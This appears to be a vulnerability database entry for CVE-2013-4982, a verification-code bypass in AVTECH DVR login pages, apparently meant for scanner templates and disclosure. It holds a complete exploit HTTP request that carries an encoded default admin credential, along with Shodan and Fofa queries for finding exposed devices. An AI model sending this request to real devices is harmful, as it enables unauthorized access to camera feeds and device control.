| Title | AVTECH DVR - Login Verification Code Bypass |
|---|---|
| Author | ritikchaddha |
| Severity | Low |
| Impact | Attackers can bypass authentication mechanisms and gain unauthorized access to the DVR system, potentially viewing camera feeds, modifying settings, or compromising the device. |
| Remediation | Update to the latest firmware version or contact the vendor for a security patch. |
| CVSS Score | 5.0 |
| EPSS Score | 0.39617 |
| CVE ID | CVE-2013-4982 |
| CWE ID | CWE-287 |
| Shodan Query | title:"login" product:"Avtech" |
| Fofa Query | app="AVTECH-视频监控" |
| Tags | cve cve2013 avtech verify bypass iot vuln |
AVTECH DVR products are vulnerable to verification code bypass just by entering the “login=quick” parameter to bypass verification code.
GET /cgi-bin/nobody/VerifyCode.cgi?account=YWRtaW46bGludXgzMjE=&login=quick HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
Connection: close
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2013/CVE-2013-4982.yaml
🦈 Packet Capture: ⬇️ Download cve-2013-4982.pcap
N/AN/A